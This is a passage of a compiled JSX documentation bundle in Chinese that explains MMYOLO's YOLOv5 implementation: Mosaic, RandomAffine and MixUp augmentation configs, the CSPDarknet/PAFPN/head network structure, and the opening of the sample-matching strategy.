\u5f20\u56fe\u7247\u7684\u7d22\u5f15\u4ee5\u53ca\u8bfb\u53d6\u5bf9\u5e94\u7684\u6807\u6ce8"}),"\n",(0,r.jsx)(e.li,{children:"\u5bf9\u6bcf\u5f20\u56fe\u7247\u91c7\u7528\u4fdd\u6301\u5bbd\u9ad8\u6bd4\u7684 resize \u64cd\u4f5c\u5c06\u5176\u7f29\u653e\u5230\u6307\u5b9a\u5927\u5c0f"}),"\n",(0,r.jsx)(e.li,{children:"\u6309\u7167\u4e0a\u4e0b\u5de6\u53f3\u89c4\u5219\uff0c\u8ba1\u7b97\u6bcf\u5f20\u56fe\u7247\u5728\u5f85\u8f93\u51fa\u56fe\u7247\u4e2d\u5e94\u8be5\u653e\u7f6e\u7684\u4f4d\u7f6e\uff0c\u56e0\u4e3a\u56fe\u7247\u53ef\u80fd\u51fa\u754c\u6545\u8fd8\u9700\u8981\u8ba1\u7b97\u88c1\u526a\u5750\u6807"}),"\n",(0,r.jsx)(e.li,{children:"\u5229\u7528\u88c1\u526a\u5750\u6807\u5c06\u7f29\u653e\u540e\u7684\u56fe\u7247\u88c1\u526a\uff0c\u7136\u540e\u8d34\u5230\u524d\u9762\u8ba1\u7b97\u51fa\u7684\u4f4d\u7f6e\uff0c\u5176\u4f59\u4f4d\u7f6e\u5168\u90e8\u8865 114 \u50cf\u7d20\u503c"}),"\n",(0,r.jsx)(e.li,{children:"\u5bf9\u6bcf\u5f20\u56fe\u7247\u7684\u6807\u6ce8\u4e5f\u8fdb\u884c\u76f8\u5e94\u5904\u7406"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u6ce8\u610f\uff1a\u7531\u4e8e\u62fc\u63a5\u4e86 4 \u5f20\u56fe\uff0c\u6240\u4ee5\u8f93\u51fa\u56fe\u7247\u9762\u79ef\u4f1a\u6269\u5927 4 \u500d\uff0c\u4ece 640x640 \u53d8\u6210 1280x1280\uff0c\u56e0\u6b64\u8981\u60f3\u6062\u590d\u4e3a 640x640\uff0c\n\u5fc5\u987b\u8981\u518d\u63a5\u4e00\u4e2a ",(0,r.jsx)(e.strong,{children:"RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362\uff0c\u5426\u5219\u56fe\u7247\u9762\u79ef\u5c31\u4e00\u76f4\u662f\u6269\u5927 4 \u500d\u7684"}),"\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"112-randomaffine-\u968f\u673a\u4eff\u5c04\u53d8\u6362",children:"1.1.2 RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190542871-14e91a42-329f-4084-aec5-b3e412e5364b.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u968f\u673a\u4eff\u5c04\u53d8\u6362\u6709\u4e24\u4e2a\u76ee\u7684\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5bf9\u56fe\u7247\u8fdb\u884c\u968f\u673a\u51e0\u4f55\u4eff\u5c04\u53d8\u6362"}),"\n",(0,r.jsx)(e.li,{children:"\u5c06 Mosaic \u8f93\u51fa\u7684\u6269\u5927 4 \u500d\u7684\u56fe\u7247\u8fd8\u539f\u4e3a 640x640 \u5c3a\u5bf8"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u968f\u673a\u4eff\u5c04\u53d8\u6362\u5305\u62ec\u5e73\u79fb\u3001\u65cb\u8f6c\u3001\u7f29\u653e\u3001\u9519\u5207\u7b49\u51e0\u4f55\u589e\u5f3a\u64cd\u4f5c\uff0c\u540c\u65f6\u7531\u4e8e Mosaic \u548c RandomAffine \u5c5e\u4e8e\u6bd4\u8f83\u5f3a\u7684\u589e\u5f3a\u64cd\u4f5c\uff0c\u4f1a\u5f15\u5165\u8f83\u5927\u566a\u58f0\uff0c\u56e0\u6b64\u9700\u8981\u5bf9\u589e\u5f3a\u540e\u7684\u6807\u6ce8\u8fdb\u884c\u5904\u7406\uff0c\u8fc7\u6ee4\u89c4\u5219\u4e3a\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u589e\u5f3a\u540e\u7684 gt bbox \u5bbd\u9ad8\u8981\u5927\u4e8e wh_thr"}),"\n",(0,r.jsx)(e.li,{children:"\u589e\u5f3a\u540e\u7684 gt bbox \u9762\u79ef\u548c\u589e\u5f3a\u524d\u7684 gt bbox \u9762\u79ef\u6bd4\u8981\u5927\u4e8e ar_thr\uff0c\u9632\u6b62\u589e\u5f3a\u592a\u4e25\u91cd"}),"\n",(0,r.jsx)(e.li,{children:"\u6700\u5927\u5bbd\u9ad8\u6bd4\u8981\u5c0f\u4e8e area_thr\uff0c\u9632\u6b62\u5bbd\u9ad8\u6bd4\u6539\u53d8\u592a\u591a"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u7531\u4e8e\u65cb\u8f6c\u540e\u6807\u6ce8\u6846\u4f1a\u53d8\u5927\u5bfc\u81f4\u4e0d\u51c6\u786e\uff0c\u56e0\u6b64\u76ee\u6807\u68c0\u6d4b\u91cc\u9762\u5f88\u5c11\u4f1a\u4f7f\u7528\u65cb\u8f6c\u6570\u636e\u589e\u5f3a\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"113-mixup",children:"1.1.3 MixUp"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190543076-db60e4b2-0552-4cf4-ab45-259d1ccbd5a6.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"MixUp \u548c Mosaic \u7c7b\u4f3c\u4e5f\u5c5e\u4e8e\u6df7\u5408\u56fe\u7247\u7c7b\u589e\u5f3a\u65b9\u6cd5\u3002\u968f\u673a\u9009\u51fa\u53e6\u5916\u4e00\u5f20\u56fe\u540e\u5c06\u4e24\u56fe\u518d\u968f\u673a\u6df7\u5408\u3002\u5177\u4f53\u5b9e\u73b0\u65b9\u6cd5\u6709\u591a\u79cd\uff0c\u5e38\u89c1\u7684\u505a\u6cd5\u662f\u8981\u4e48\u5c06 label \u76f4\u63a5\u62fc\u63a5\u8d77\u6765\uff0c\u8981\u4e48\u5c06 label \u4e5f\u91c7\u7528 alpha \u65b9\u6cd5\u6df7\u5408\u3002\u539f\u4f5c\u8005\u7684\u505a\u6cd5\u975e\u5e38\u7b80\u5355\uff0c\u5bf9 label \u5373\u76f4\u63a5\u62fc\u63a5\uff0c\u800c\u56fe\u7247\u901a\u8fc7\u5206\u5e03\u91c7\u6837\u6df7\u5408\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u9700\u8981\u7279\u522b\u6ce8\u610f\u7684\u662f\uff1a\n",(0,r.jsx)(e.strong,{children:"YOLOv5 \u5b9e\u73b0\u7684 MixUp \u4e2d\uff0c\u968f\u673a\u51fa\u6765\u7684\u53e6\u4e00\u5f20\u56fe\u4e5f\u9700\u8981\u7ecf\u8fc7 Mosaic \u9a6c\u8d5b\u514b + RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362 \u7684\u589e\u5f3a\u540e\u624d\u80fd\u6df7\u5408\u3002\u8fd9\u4e2a\u548c\u5176\u4ed6\u5f00\u6e90\u5e93\u5b9e\u73b0\u53ef\u80fd\u4e0d\u592a\u4e00\u6837"}),"\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"114-\u56fe\u50cf\u6a21\u7cca\u548c\u5176\u4ed6\u6570\u636e\u589e\u5f3a\u7b56\u7565",children:"1.1.4 \u56fe\u50cf\u6a21\u7cca\u548c\u5176\u4ed6\u6570\u636e\u589e\u5f3a\u7b56\u7565"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190543533-8b9ece51-676b-4a7d-a7d0-597e2dd1d42e.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5269\u4e0b\u7684\u6570\u636e\u589e\u5f3a\u5305\u62ec"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u56fe\u50cf\u6a21\u7cca\u7b49\u91c7\u7528 Albu \u5e93\u5b9e\u73b0\u7684\u53d8\u6362"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"HSV \u989c\u8272\u7a7a\u95f4\u589e\u5f3a"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u968f\u673a\u6c34\u5e73\u7ffb\u8f6c"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"MMDetection \u5f00\u6e90\u5e93\u4e2d\u5df2\u7ecf\u5bf9 Albu \u7b2c\u4e09\u65b9\u6570\u636e\u589e\u5f3a\u5e93\u8fdb\u884c\u4e86\u5c01\u88c5\uff0c\u4f7f\u7528\u6237\u53ef\u4ee5\u7b80\u5355\u7684\u901a\u8fc7\u914d\u7f6e\u5373\u53ef\u4f7f\u7528 Albu \u5e93\u4e2d\u63d0\u4f9b\u7684\u4efb\u4f55\u6570\u636e\u589e\u5f3a\u529f\u80fd\u3002\u800c HSV \u989c\u8272\u7a7a\u95f4\u589e\u5f3a\u548c\u968f\u673a\u6c34\u5e73\u7ffb\u8f6c\u90fd\u662f\u5c5e\u4e8e\u6bd4\u8f83\u5e38\u89c4\u7684\u6570\u636e\u589e\u5f3a\uff0c\u4e0d\u9700\u8981\u7279\u6b8a\u4ecb\u7ecd\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"115-mmyolo-\u5b9e\u73b0\u89e3\u6790",children:"1.1.5 MMYOLO \u5b9e\u73b0\u89e3\u6790"}),"\n",(0,r.jsx)(e.p,{children:"\u5e38\u89c4\u7684\u5355\u56fe\u6570\u636e\u589e\u5f3a\u4f8b\u5982\u968f\u673a\u7ffb\u8f6c\u7b49\u6bd4\u8f83\u5bb9\u6613\u5b9e\u73b0\uff0c\u800c Mosaic \u7c7b\u7684\u6df7\u5408\u6570\u636e\u589e\u5f3a\u5219\u4e0d\u592a\u5bb9\u6613\u3002\u5728 MMDetection \u590d\u73b0\u7684 YOLOX \u7b97\u6cd5\u4e2d\u63d0\u51fa\u4e86 MultiImageMixDataset \u6570\u636e\u96c6\u5305\u88c5\u5668\u7684\u6982\u5ff5\uff0c\u5176\u5b9e\u73b0\u8fc7\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190543666-d5a22ed7-46a0-4696-990a-12ebde7f8907.png"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5bf9\u4e8e Mosaic \u7b49\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\u7b56\u7565\uff0c\u4f1a\u9700\u8981\u989d\u5916\u5b9e\u73b0\u4e00\u4e2a ",(0,r.jsx)(e.code,{children:"get_indexes"})," \u65b9\u6cd5\u6765\u83b7\u53d6\u5176\u4ed6\u56fe\u7247\u7d22\u5f15\uff0c\u7136\u540e\u7528\u5f97\u5230\u7684 4 \u5f20\u56fe\u7247\u4fe1\u606f\u5c31\u53ef\u4ee5\u8fdb\u884c Mosaic \u589e\u5f3a\u4e86\u3002\n\u4ee5 MMDetection \u4e2d\u5b9e\u73b0\u7684 YOLOX \u4e3a\u4f8b\uff0c\u5176\u914d\u7f6e\u6587\u4ef6\u5199\u6cd5\u5982\u4e0b\u6240\u793a\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"train_pipeline = [\n dict(type='Mosaic', img_scale=img_scale, pad_val=114.0),\n dict(\n type='RandomAffine',\n scaling_ratio_range=(0.1, 2),\n border=(-img_scale[0] // 2, -img_scale[1] // 2)),\n dict(\n type='MixUp',\n img_scale=img_scale,\n ratio_range=(0.8, 1.6),\n pad_val=114.0),\n ...\n]\n\ntrain_dataset = dict(\n # use MultiImageMixDataset wrapper to support mosaic and mixup\n type='MultiImageMixDataset',\n dataset=dict(\n type='CocoDataset',\n pipeline=[\n dict(type='LoadImageFromFile'),\n dict(type='LoadAnnotations', with_bbox=True)\n ]),\n pipeline=train_pipeline)\n"})}),"\n",(0,r.jsx)(e.p,{children:"MultiImageMixDataset \u6570\u636e\u96c6\u5305\u88c5\u5668\u4f20\u5165\u4e00\u4e2a\u5305\u62ec Mosaic \u548c RandAffine \u7b49\u6570\u636e\u589e\u5f3a\uff0c\u800c CocoDataset \u4e2d\u4e5f\u9700\u8981\u4f20\u5165\u4e00\u4e2a\u5305\u62ec\u56fe\u7247\u548c\u6807\u6ce8\u52a0\u8f7d\u7684 pipeline\u3002\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\u5c31\u53ef\u4ee5\u5feb\u901f\u7684\u5b9e\u73b0\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f46\u662f\u4e0a\u8ff0\u5b9e\u73b0\u6709\u4e00\u4e2a\u7f3a\u70b9\uff1a\n",(0,r.jsx)(e.strong,{children:"\u5bf9\u4e8e\u4e0d\u719f\u6089 MMDetection \u7684\u7528\u6237\u6765\u8bf4\uff0c\u5176\u7ecf\u5e38\u4f1a\u5fd8\u8bb0 Mosaic \u5fc5\u987b\u8981\u548c MultiImageMixDataset \u914d\u5408\u4f7f\u7528\uff0c\u5426\u5219\u4f1a\u62a5\u9519\uff0c\u800c\u4e14\u8fd9\u6837\u4f1a\u52a0\u5927\u590d\u6742\u5ea6\u548c\u7406\u89e3\u96be\u5ea6"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u5728 MMYOLO \u4e2d\u6211\u4eec\u8fdb\u4e00\u6b65\u8fdb\u884c\u4e86\u7b80\u5316\u3002\u76f4\u63a5\u8ba9 pipeline \u80fd\u591f\u83b7\u53d6\u5230 dataset \u5bf9\u8c61\uff0c\u6b64\u65f6\u5c31\u53ef\u4ee5\u5c06 Mosaic \u7b49\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\u7684\u5b9e\u73b0\u548c\u4f7f\u7528\u53d8\u6210\u548c\u968f\u673a\u7ffb\u8f6c\u4e00\u6837\u3002\n\u6b64\u65f6\u5728 MMYOLO \u4e2d YOLOX \u7684\u914d\u7f6e\u5199\u6cd5\u53d8\u6210\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"pre_transform = [\n dict(type='LoadImageFromFile'),\n dict(type='LoadAnnotations', with_bbox=True)\n]\n\ntrain_pipeline = [\n *pre_transform,\n dict(\n type='Mosaic',\n img_scale=img_scale,\n pad_val=114.0,\n pre_transform=pre_transform),\n dict(\n type='mmdet.RandomAffine',\n scaling_ratio_range=(0.1, 2),\n border=(-img_scale[0] // 2, -img_scale[1] // 2)),\n dict(\n type='YOLOXMixUp',\n img_scale=img_scale,\n ratio_range=(0.8, 1.6),\n pad_val=114.0,\n pre_transform=pre_transform),\n ...\n]\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u6837\u5c31\u4e0d\u518d\u9700\u8981 MultiImageMixDataset \u4e86\uff0c\u4f7f\u7528\u548c\u7406\u89e3\u4e0a\u4f1a\u66f4\u52a0\u7b80\u5355\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u56de\u5230 YOLOv5 \u914d\u7f6e\u4e0a\uff0c\u56e0\u4e3a YOLOv5 \u5b9e\u73b0\u7684 MixUp \u4e2d\uff0c\u968f\u673a\u9009\u51fa\u6765\u7684\u53e6\u4e00\u5f20\u56fe\u4e5f\u9700\u8981\u7ecf\u8fc7 Mosaic \u9a6c\u8d5b\u514b+RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362 \u589e\u5f3a\u540e\u624d\u80fd\u6df7\u5408\uff0c\u6545YOLOv5-m \u6570\u636e\u589e\u5f3a\u914d\u7f6e\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"pre_transform = [\n dict(type='LoadImageFromFile'),\n dict(type='LoadAnnotations', with_bbox=True)\n]\n\nmosaic_transform= [\n dict(\n type='Mosaic',\n img_scale=img_scale,\n pad_val=114.0,\n pre_transform=pre_transform),\n dict(\n type='YOLOv5RandomAffine',\n max_rotate_degree=0.0,\n max_shear_degree=0.0,\n scaling_ratio_range=(0.1, 1.9), # scale = 0.9\n border=(-img_scale[0] // 2, -img_scale[1] // 2),\n border_val=(114, 114, 114))\n]\n\ntrain_pipeline = [\n *pre_transform,\n *mosaic_transform,\n dict(\n type='YOLOv5MixUp',\n prob=0.1,\n pre_transform=[\n *pre_transform,\n *mosaic_transform\n ]),\n ...\n]\n"})}),"\n",(0,r.jsx)(e.h3,{id:"12-\u7f51\u7edc\u7ed3\u6784",children:"1.2 \u7f51\u7edc\u7ed3\u6784"}),"\n",(0,r.jsx)(e.p,{children:"\u672c\u5c0f\u7ed3\u7531 RangeKing@github \u64b0\u5199\uff0c\u975e\u5e38\u611f\u8c22\uff01\uff01\uff01"}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 \u7f51\u7edc\u7ed3\u6784\u662f\u6807\u51c6\u7684 ",(0,r.jsx)(e.code,{children:"CSPDarknet"})," + ",(0,r.jsx)(e.code,{children:"PAFPN"})," + ",(0,r.jsx)(e.code,{children:"\u975e\u89e3\u8026 Head"}),"\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 \u7f51\u7edc\u7ed3\u6784\u5927\u5c0f\u7531 ",(0,r.jsx)(e.code,{children:"deepen_factor"})," \u548c ",(0,r.jsx)(e.code,{children:"widen_factor"})," \u4e24\u4e2a\u53c2\u6570\u51b3\u5b9a\u3002\u5176\u4e2d ",(0,r.jsx)(e.code,{children:"deepen_factor"})," \u63a7\u5236\u7f51\u7edc\u7ed3\u6784\u6df1\u5ea6\uff0c\u5373 ",(0,r.jsx)(e.code,{children:"CSPLayer"})," \u4e2d ",(0,r.jsx)(e.code,{children:"DarknetBottleneck"})," \u6a21\u5757\u5806\u53e0\u7684\u6570\u91cf\uff1b",(0,r.jsx)(e.code,{children:"widen_factor"})," \u63a7\u5236\u7f51\u7edc\u7ed3\u6784\u5bbd\u5ea6\uff0c\u5373\u6a21\u5757\u8f93\u51fa\u7279\u5f81\u56fe\u7684\u901a\u9053\u6570\u3002\u4ee5 YOLOv5-l \u4e3a\u4f8b\uff0c\u5176 ",(0,r.jsx)(e.code,{children:"deepen_factor = widen_factor = 1.0"})," \uff0c\u6574\u4f53\u7ed3\u6784\u56fe\u5982\u4e0a\u6240\u793a\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u56fe\u7684\u4e0a\u534a\u90e8\u5206\u4e3a\u6a21\u578b\u603b\u89c8\uff1b\u4e0b\u534a\u90e8\u5206\u4e3a\u5177\u4f53\u7f51\u7edc\u7ed3\u6784\uff0c\u5176\u4e2d\u7684\u6a21\u5757\u5747\u6807\u6709\u5e8f\u53f7\uff0c\u65b9\u4fbf\u7528\u6237\u4e0e YOLOv5 \u5b98\u65b9\u4ed3\u5e93\u7684\u914d\u7f6e\u6587\u4ef6\u5bf9\u5e94\uff1b\u4e2d\u95f4\u90e8\u5206\u4e3a\u5404\u5b50\u6a21\u5757\u7684\u5177\u4f53\u6784\u6210\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u679c\u60f3\u4f7f\u7528 netron \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784\u56fe\u7ec6\u8282\uff0c\u53ef\u4ee5\u76f4\u63a5\u5728 netron \u4e2d\u5c06 MMDeploy \u5bfc\u51fa\u7684 ONNX \u6587\u4ef6\u683c\u5f0f\u6587\u4ef6\u6253\u5f00\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"121-backbone",children:"1.2.1 Backbone"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728 MMYOLO \u4e2d ",(0,r.jsx)(e.code,{children:"CSPDarknet"})," \u7ee7\u627f\u81ea ",(0,r.jsx)(e.code,{children:"BaseBackbone"}),"\uff0c\u6574\u4f53\u7ed3\u6784\u548c ",(0,r.jsx)(e.code,{children:"ResNet"})," \u7c7b\u4f3c\uff0c\u5171 5 \u5c42\u7ed3\u6784\uff0c\u5305\u542b 1 \u4e2a ",(0,r.jsx)(e.code,{children:"Stem Layer"})," \u548c 4 \u4e2a ",(0,r.jsx)(e.code,{children:"Stage Layer"}),"\uff1a"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.code,{children:"Stem Layer"})," \u662f 1 \u4e2a 6x6 kernel \u7684 ",(0,r.jsx)(e.code,{children:"ConvModule"}),"\uff0c\u76f8\u8f83\u4e8e v6.1 \u7248\u672c\u4e4b\u524d\u7684 ",(0,r.jsx)(e.code,{children:"Focus"})," \u6a21\u5757\u66f4\u52a0\u9ad8\u6548\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u524d 3 \u4e2a ",(0,r.jsx)(e.code,{children:"Stage Layer"})," \u5747\u7531 1 \u4e2a ",(0,r.jsx)(e.code,{children:"ConvModule"})," \u548c 1 \u4e2a ",(0,r.jsx)(e.code,{children:"CSPLayer"})," \u7ec4\u6210\u3002\u5982\u4e0a\u56fe Details \u90e8\u5206\u6240\u793a\u3002\n\u5176\u4e2d ",(0,r.jsx)(e.code,{children:"ConvModule"})," \u4e3a 3x3\u7684 ",(0,r.jsx)(e.code,{children:"Conv2d"})," + ",(0,r.jsx)(e.code,{children:"BatchNorm"})," + ",(0,r.jsx)(e.code,{children:"SiLU \u6fc0\u6d3b\u51fd\u6570"}),"\u3002",(0,r.jsx)(e.code,{children:"CSPLayer"})," \u5373 YOLOv5 \u5b98\u65b9\u4ed3\u5e93\u4e2d\u7684 C3 \u6a21\u5757\uff0c\u7531 3 \u4e2a ",(0,r.jsx)(e.code,{children:"ConvModule"})," + n \u4e2a ",(0,r.jsx)(e.code,{children:"DarknetBottleneck"}),"(\u5e26\u6b8b\u5dee\u8fde\u63a5) \u7ec4\u6210\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u7b2c 4 \u4e2a ",(0,r.jsx)(e.code,{children:"Stage Layer"})," \u5728\u6700\u540e\u589e\u52a0\u4e86 ",(0,r.jsx)(e.code,{children:"SPPF"})," \u6a21\u5757\u3002",(0,r.jsx)(e.code,{children:"SPPF"})," \u6a21\u5757\u662f\u5c06\u8f93\u5165\u4e32\u884c\u901a\u8fc7\u591a\u4e2a 5x5 \u5927\u5c0f\u7684 ",(0,r.jsx)(e.code,{children:"MaxPool2d"})," \u5c42\uff0c\u4e0e ",(0,r.jsx)(e.code,{children:"SPP"})," \u6a21\u5757\u6548\u679c\u76f8\u540c\uff0c\u4f46\u901f\u5ea6\u66f4\u5feb\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["P5 \u6a21\u578b\u7ed3\u6784\u4f1a\u5728 ",(0,r.jsx)(e.code,{children:"Stage Layer"})," 2-4 \u4e4b\u540e\u5206\u522b\u8f93\u51fa\u4e00\u4e2a\u7279\u5f81\u56fe\u8fdb\u5165 ",(0,r.jsx)(e.code,{children:"Neck"})," \u7ed3\u6784\u3002\u4ee5 640x640 \u8f93\u5165\u56fe\u7247\u4e3a\u4f8b\uff0c\u5176\u8f93\u51fa\u7279\u5f81\u4e3a (B,256,80,80)\u3001 (B,512,40,40) \u548c (B,1024,20,20)\uff0c\u5bf9\u5e94\u7684 stride \u5206\u522b\u4e3a 8/16/32\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.h4,{id:"122-neck",children:"1.2.2 Neck"}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 \u5b98\u65b9\u4ed3\u5e93\u7684\u914d\u7f6e\u6587\u4ef6\u4e2d\u5e76\u6ca1\u6709 Neck \u90e8\u5206\uff0c\u4e3a\u65b9\u4fbf\u7528\u6237\u4e0e\u5176\u4ed6\u76ee\u6807\u68c0\u6d4b\u7f51\u7edc\u7ed3\u6784\u76f8\u5bf9\u5e94\uff0c\u6211\u4eec\u5c06\u5b98\u65b9\u4ed3\u5e93\u7684 ",(0,r.jsx)(e.code,{children:"Head"})," \u62c6\u5206\u6210 ",(0,r.jsx)(e.code,{children:"PAFPN"})," \u548c ",(0,r.jsx)(e.code,{children:"Head"})," \u4e24\u90e8\u5206\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u57fa\u4e8e ",(0,r.jsx)(e.code,{children:"BaseYOLONeck"})," \u7ed3\u6784\uff0cYOLOv5 ",(0,r.jsx)(e.code,{children:"Neck"})," \u4e5f\u662f\u9075\u5faa\u540c\u4e00\u5957\u6784\u5efa\u6d41\u7a0b\uff0c\u5bf9\u4e8e\u4e0d\u5b58\u5728\u7684\u6a21\u5757\uff0c\u6211\u4eec\u91c7\u7528 ",(0,r.jsx)(e.code,{children:"nn.Identity"})," \u4ee3\u66ff\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"Neck \u6a21\u5757\u8f93\u51fa\u7684\u7279\u5f81\u56fe\u548c Backbone \u5b8c\u5168\u4e00\u81f4\u5373\u4e3a (B,256,80,80)\u3001 (B,512,40,40) \u548c (B,1024,20,20)\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"123-head",children:"1.2.3 Head"}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 Head \u7ed3\u6784\u548c YOLOv3 \u5b8c\u5168\u4e00\u6837\uff0c\u4e3a ",(0,r.jsx)(e.code,{children:"\u975e\u89e3\u8026 Head"}),"\u3002Head \u6a21\u5757\u53ea\u5305\u62ec 3 \u4e2a\u4e0d\u5171\u4eab\u6743\u91cd\u7684\u5377\u79ef\uff0c\u7528\u4e8e\u5c06\u8f93\u5165\u7279\u5f81\u56fe\u8fdb\u884c\u53d8\u6362\u800c\u5df2\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u524d\u9762\u7684 PAFPN \u4f9d\u7136\u662f\u8f93\u51fa 3 \u4e2a\u4e0d\u540c\u5c3a\u5ea6\u7684\u7279\u5f81\u56fe\uff0cshape \u4e3a (B,256,80,80)\u3001 (B,512,40,40) \u548c (B,1024,20,20)\u3002\n\u7531\u4e8e YOLOv5 \u662f\u975e\u89e3\u8026\u8f93\u51fa\uff0c\u5373\u5206\u7c7b\u548c bbox \u68c0\u6d4b\u7b49\u90fd\u662f\u5728\u540c\u4e00\u4e2a\u5377\u79ef\u7684\u4e0d\u540c\u901a\u9053\u4e2d\u5b8c\u6210\u3002\u4ee5 COCO 80 \u7c7b\u4e3a\u4f8b\uff0c\u5728\u8f93\u5165\u4e3a 640x640 \u5206\u8fa8\u7387\u60c5\u51b5\u4e0b\uff0c\u5176 Head \u6a21\u5757\u8f93\u51fa\u7684 shape \u5206\u522b\u4e3a (B, 3x(4+1+80),80,80), (B, 3x(4+1+80),40,40) \u548c (B, 3x(4+1+80),20,20)\u3002\u5176\u4e2d 3 \u8868\u793a 3 \u4e2a anchor\uff0c4 \u8868\u793a bbox \u9884\u6d4b\u5206\u652f\uff0c1 \u8868\u793a obj \u9884\u6d4b\u5206\u652f\uff0c80 \u8868\u793a COCO \u6570\u636e\u96c6\u7c7b\u522b\u9884\u6d4b\u5206\u652f\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"13-\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",children:"1.3 \u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565"}),"\n",(0,r.jsx)(e.p,{children:"\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565\u7684\u6838\u5fc3\u662f\u786e\u5b9a\u9884\u6d4b\u7279\u5f81\u56fe\u7684\u6240\u6709\u4f4d\u7f6e\u4e2d\u54ea\u4e9b\u4f4d\u7f6e\u5e94\u8be5\u662f\u6b63\u6837\u672c\uff0c\u54ea\u4e9b\u662f\u8d1f\u6837\u672c\uff0c\u751a\u81f3\u6709\u4e9b\u662f\u5ffd\u7565\u6837\u672c\u3002\n\u5339\u914d\u7b56\u7565\u662f\u76ee\u6807\u68c0\u6d4b\u7b97\u6cd5\u7684\u6838\u5fc3\uff0c\u4e00\u4e2a\u597d\u7684\u5339\u914d\u7b56\u7565\u53ef\u4ee5\u663e\u8457\u63d0\u5347\u7b97\u6cd5\u6027\u80fd\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["YOLOV5 \u7684\u5339\u914d\u7b56\u7565\u7b80\u5355\u603b\u7ed3\u4e3a\uff1a",(0,r.jsx)(e.strong,{children:"\u91c7\u7528\u4e86 anchor \u548c gt_bbox \u7684 shape \u5339\u914d\u5ea6\u4f5c\u4e3a\u5212\u5206\u89c4\u5219\uff0c\u540c\u65f6\u5f15\u5165\u8de8\u90bb\u57df\u7f51\u683c\u7b56\u7565\u6765\u589e\u52a0\u6b63\u6837\u672c"}),"\u3002\n\u5176\u4e3b\u8981\u5305\u62ec\u5982\u4e0b\u4e24\u4e2a\u6838\u5fc3\u6b65\u9aa4\uff1a"]}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5bf9\u4e8e\u4efb\u4f55\u4e00\u4e2a\u8f93\u51fa\u5c42\uff0c\u629b\u5f03\u4e86\u5e38\u7528\u7684\u57fa\u4e8e Max IoU 